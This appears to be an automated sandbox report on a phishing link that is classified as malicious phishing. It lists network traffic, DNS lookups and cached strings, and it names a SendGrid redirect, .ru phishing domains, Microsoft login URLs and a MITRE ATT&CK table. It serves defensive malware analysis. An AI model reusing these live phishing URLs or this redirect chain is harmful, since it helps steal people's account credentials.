Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ HTTP/1.1Host: aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://o6rl.inexpartan.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://o6rl.inexpartan.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ HTTP/1.1Host: aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //Privacy/mwe.html HTTP/1.1Host: petadolex.caConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_132.2.dr, chromecache_126.2.dr	String found in binary or memory: </svg>`;function EW(a,s){return l=>{const p=AW(l).map(f=>CW(f));s.setValue({...s.value,shareOptions:p});function d(){s.setValue({...s.value,shareDialogOpened:!0})}function m(){var f,E,I,D,N,O;s.setValue({...s.value,shareDialogOpened:!1}),(O=(N=(D=(I=(E=(f=a.renderRoot)==null?void 0:f.querySelector("ump-controls"))==null?void 0:E.renderRoot.querySelector("ump-control-bar"))==null?void 0:I.renderRoot.querySelector("ump-more-menu"))==null?void 0:D.renderRoot.querySelector('[data-id="more-menu-button"]'))==null?void 0:N.focus)==null\|\|O.call(N)}const y=Hh(a);return y.addEventListener("share-button-clicked",d),y.addEventListener("share-dialog-closed",m),()=>{y.removeAllListeners()}}}function AW(a){return a.options.share?a.options.shareOptions.length===0?wM:a.options.shareOptions:[]}function CW(a){const s=new URL(window.location.href);s.searchParams.delete("jsapi");const l=s.toString();switch(a){case"facebook":return{id:"facebook",url:`https://www.facebook.com/share.php?u=${encodeURIComponent(l)}`,icon:SW};case"linkedin":return{id:"linkedin",url:`https://www.linkedin.com/shareArticle?mini=true&url=${encodeURIComponent(l)}&title=&summary=&source=`,icon:TW};case"twitter":return{id:"twitter",url:`https://x.com/share?url=${encodeURIComponent(l)}&text=`,icon:kW};case"mail":return{id:"mail",url:`mailto:?subject=Check out this great video&body=${encodeURIComponent(l)}`,icon:xW};default:return{id:"copy",url:l,icon:""}}}function IW(){return a=>{if(a.options.sources.length===0)return()=>{};a.addEventListener("loadsourcesrequest",s);async function s(){a.dispatchEvent(new jt.util.FakeEvent("playerloadmediastart"));const l=lg(a.options.sources);try{await a.load(l[0].src,a.options.startTime,l[0].type)}catch{a.dispatchShakaError(jt.util.Error.Severity.CRITICAL,jt.util.Error.Category.MEDIA,jt.util.Error.Code.MEDIA_SOURCE_OPERATION_FAILED);return}await a.loadCaptions(),a.dispatchEvent(new jt.util.FakeEvent("playerloadmediaend")),a.dispatchEvent(new jt.util.FakeEvent("loadsourcescomplete"))}return()=>{}}}function MW(){try{return crypto.randomUUID()}catch{return`10000000-1000-4000-8000-${1e11}`.replace(/[018]/g,a=>(a^crypto.getRandomValues(new Uint8Array(1))[0]&15>>a/4).toString(16))}}var _W=Object.defineProperty,PW=Object.getOwnPropertyDescriptor,cg=(a,s,l,p)=>{for(var d=p>1?void 0:p?PW(s,l):s,m=a.length-1,y;m>=0;m--)(y=a[m])&&(d=(p?y(s,l,d):y(d))\|\|d);return p&&d&&_W(s,l,d),d};jt.polyfill.installAll();const i3="options";function a3(a,s,l){const p=a instanceof $a?a:$a.getById(a);return l&&p.addEventListener("ready",l,{once:!0}),p.setAttribute("options",JSON.stringify(s)),p}Object.defineProperty(a3,"allowAutoplay",{get:PL,set:QX});let $a=class extends Cn{constructor(){super(...arguments),this.umpId=`ump-${MW()}`,this.ariaLabel=null,this.playerStateContext=new Rw(this,{context:mr,initialValue:xM}),this.onVideoEvent=a=>{this.dispatchEvent(new kt(a.type,a.target))}}render(){return ht` equals www.facebook.com (Facebook)
Source: chromecache_132.2.dr, chromecache_126.2.dr	String found in binary or memory: </svg>`;function EW(a,s){return l=>{const p=AW(l).map(f=>CW(f));s.setValue({...s.value,shareOptions:p});function d(){s.setValue({...s.value,shareDialogOpened:!0})}function m(){var f,E,I,D,N,O;s.setValue({...s.value,shareDialogOpened:!1}),(O=(N=(D=(I=(E=(f=a.renderRoot)==null?void 0:f.querySelector("ump-controls"))==null?void 0:E.renderRoot.querySelector("ump-control-bar"))==null?void 0:I.renderRoot.querySelector("ump-more-menu"))==null?void 0:D.renderRoot.querySelector('[data-id="more-menu-button"]'))==null?void 0:N.focus)==null\|\|O.call(N)}const y=Hh(a);return y.addEventListener("share-button-clicked",d),y.addEventListener("share-dialog-closed",m),()=>{y.removeAllListeners()}}}function AW(a){return a.options.share?a.options.shareOptions.length===0?wM:a.options.shareOptions:[]}function CW(a){const s=new URL(window.location.href);s.searchParams.delete("jsapi");const l=s.toString();switch(a){case"facebook":return{id:"facebook",url:`https://www.facebook.com/share.php?u=${encodeURIComponent(l)}`,icon:SW};case"linkedin":return{id:"linkedin",url:`https://www.linkedin.com/shareArticle?mini=true&url=${encodeURIComponent(l)}&title=&summary=&source=`,icon:TW};case"twitter":return{id:"twitter",url:`https://x.com/share?url=${encodeURIComponent(l)}&text=`,icon:kW};case"mail":return{id:"mail",url:`mailto:?subject=Check out this great video&body=${encodeURIComponent(l)}`,icon:xW};default:return{id:"copy",url:l,icon:""}}}function IW(){return a=>{if(a.options.sources.length===0)return()=>{};a.addEventListener("loadsourcesrequest",s);async function s(){a.dispatchEvent(new jt.util.FakeEvent("playerloadmediastart"));const l=lg(a.options.sources);try{await a.load(l[0].src,a.options.startTime,l[0].type)}catch{a.dispatchShakaError(jt.util.Error.Severity.CRITICAL,jt.util.Error.Category.MEDIA,jt.util.Error.Code.MEDIA_SOURCE_OPERATION_FAILED);return}await a.loadCaptions(),a.dispatchEvent(new jt.util.FakeEvent("playerloadmediaend")),a.dispatchEvent(new jt.util.FakeEvent("loadsourcescomplete"))}return()=>{}}}function MW(){try{return crypto.randomUUID()}catch{return`10000000-1000-4000-8000-${1e11}`.replace(/[018]/g,a=>(a^crypto.getRandomValues(new Uint8Array(1))[0]&15>>a/4).toString(16))}}var _W=Object.defineProperty,PW=Object.getOwnPropertyDescriptor,cg=(a,s,l,p)=>{for(var d=p>1?void 0:p?PW(s,l):s,m=a.length-1,y;m>=0;m--)(y=a[m])&&(d=(p?y(s,l,d):y(d))\|\|d);return p&&d&&_W(s,l,d),d};jt.polyfill.installAll();const i3="options";function a3(a,s,l){const p=a instanceof $a?a:$a.getById(a);return l&&p.addEventListener("ready",l,{once:!0}),p.setAttribute("options",JSON.stringify(s)),p}Object.defineProperty(a3,"allowAutoplay",{get:PL,set:QX});let $a=class extends Cn{constructor(){super(...arguments),this.umpId=`ump-${MW()}`,this.ariaLabel=null,this.playerStateContext=new Rw(this,{context:mr,initialValue:xM}),this.onVideoEvent=a=>{this.dispatchEvent(new kt(a.type,a.target))}}render(){return ht` equals www.linkedin.com (Linkedin)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: u48635528.ct.sendgrid.net
Source: global traffic	DNS traffic detected: DNS query: petadolex.ca
Source: global traffic	DNS traffic detected: DNS query: o6rl.inexpartan.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru
Source: global traffic	DNS traffic detected: DNS query: www.azure.com
Source: global traffic	DNS traffic detected: DNS query: s.go-mpulse.net
Source: global traffic	DNS traffic detected: DNS query: cdn.botframework.com
Source: global traffic	DNS traffic detected: DNS query: play.vidyard.com

Source: unknown

HTTP traffic detected: POST /report/v4?s=mE2ru3%2FloL1M4wGqzTMnZ9emURenUJcl7iXw3H2DbPreURfcPsPl96mKnx9D3mq6OzS%2FxlBwQ3LKUn900lsO69AmDyYB8ACps9jndZ2kUoJkB1bXail%2B9GrtGl3k4Oi5uKi1VPIX HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 452Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 24 Dec 2024 14:06:35 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Age: 9823Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZDUxCl9o5ILuNQ9LtJV5oDGSehkMgtpnrYG3dGjUe%2BkEJhR5Vd0N%2B0QiT4mUIWvAWOCt%2FonG9TjoVuWrq4fzPWKOxgCQk5dzZPG6Ez4syCDm8IZxaOOzwCQpM%2BFunQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1054&min_rtt=1041&rtt_var=417&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2152&delivery_rate=2482999&cwnd=251&unsent_bytes=0&cid=b42ffbadf2b4c84d&ts=19&x=0"CF-Cache-Status: HITServer: cloudflareCF-RAY: 8f7127207f75de99-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1601&rtt_var=614&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1917&delivery_rate=1764350&cwnd=209&unsent_bytes=0&cid=15a5696da7853a0f&ts=9354&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 24 Dec 2024 14:06:39 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: vvZdkSiP9pzj/fYmzS6lwu5nrrvt6bYPwLU=$gqYMT6G9TLglUlCKServer: cloudflareCF-RAY: 8f7127384ce20f85-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 24 Dec 2024 14:06:46 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 4H9CfikJnfUs6rUbY27l2tvlPSspQc/SJ98=$aioFUWaSM4hlLMmecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8f7127652d4c42f5-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 24 Dec 2024 14:06:56 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: JYuXyGaZ06v0hjxhMlHRBu83wjpPl9/OJi4=$OWBIcNQy8vlLc9PHServer: cloudflareCF-RAY: 8f7127a02bd38c51-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_124.2.dr, chromecache_92.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_121.2.dr	String found in binary or memory: http://scottjehl.github.io/picturefill
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=12006
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=3334
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://bugzil.la/548397
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=277178
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=308064
Source: chromecache_154.2.dr	String found in binary or memory: https://dev.azure.com/mscomdev/Moray/_workitems/edit/4494
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://elad.medium.com/css-position-sticky-how-it-really-works-54cd01dc2d46
Source: chromecache_109.2.dr, chromecache_128.2.dr	String found in binary or memory: https://github.com/carhartl/jquery-cookie
Source: chromecache_143.2.dr	String found in binary or memory: https://github.com/microsoft/BotFramework-WebChat/issues/2119
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://github.com/mozilla/rhino/issues/346
Source: chromecache_132.2.dr, chromecache_126.2.dr	String found in binary or memory: https://github.com/nevware21/ts-async
Source: chromecache_121.2.dr	String found in binary or memory: https://github.com/scottjehl/picturefill/blob/master/Authors.txt;
Source: chromecache_121.2.dr	String found in binary or memory: https://github.com/scottjehl/picturefill/tree/3.0/src/plugins/gecko-picture
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://github.com/tc39/proposal-error-cause
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://github.com/w3c/aria-practices/pull/1757
Source: chromecache_108.2.dr, chromecache_148.2.dr, chromecache_154.2.dr, chromecache_122.2.dr	String found in binary or memory: https://github.com/zloirock/core-js
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.25.0/LICENSE
Source: chromecache_108.2.dr, chromecache_122.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/blob/v3.30.1/LICENSE
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://javascript.info/size-and-scroll-window#width-height-of-the-document
Source: chromecache_99.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_99.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_99.2.dr	String found in binary or memory: https://js.foundation/
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://keycode.info/table-of-all-keycodes
Source: chromecache_160.2.dr	String found in binary or memory: https://login.live.com/Me.srf?wa
Source: chromecache_160.2.dr	String found in binary or memory: https://login.microsoftonline.com/forgetuser
Source: chromecache_160.2.dr	String found in binary or memory: https://login.microsoftonline.com/savedusers?appid
Source: chromecache_160.2.dr	String found in binary or memory: https://login.microsoftonline.com/uxlogout?appid
Source: chromecache_113.2.dr	String found in binary or memory: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=
Source: chromecache_121.2.dr	String found in binary or memory: https://scottjehl.github.io/picturefill/
Source: chromecache_99.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot-aec
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.includes
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-array.prototype.indexof
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-getmethod
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-hasownproperty
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-iscallable
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-lengthofarraylike
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-math.trunc
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.defineproperty
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.getownpropertydescriptor
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.getownpropertynames
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.prototype.propertyisenumerable
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-object.setprototypeof
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-ordinarytoprimitive
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-requireobjectcoercible
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-tointegerorinfinity
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-tolength
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-toobject
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-toprimitive
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/ecma262/#sec-topropertykey
Source: chromecache_148.2.dr, chromecache_154.2.dr	String found in binary or memory: https://tc39.es/proposal-error-cause/#sec-errorobjects-install-error-cause

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: classification engine

Classification label: mal68.phis.win@22/121@44/14

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2184,i,16216931406052077685,12258593512264580968,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2184,i,16216931406052077685,12258593512264580968,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
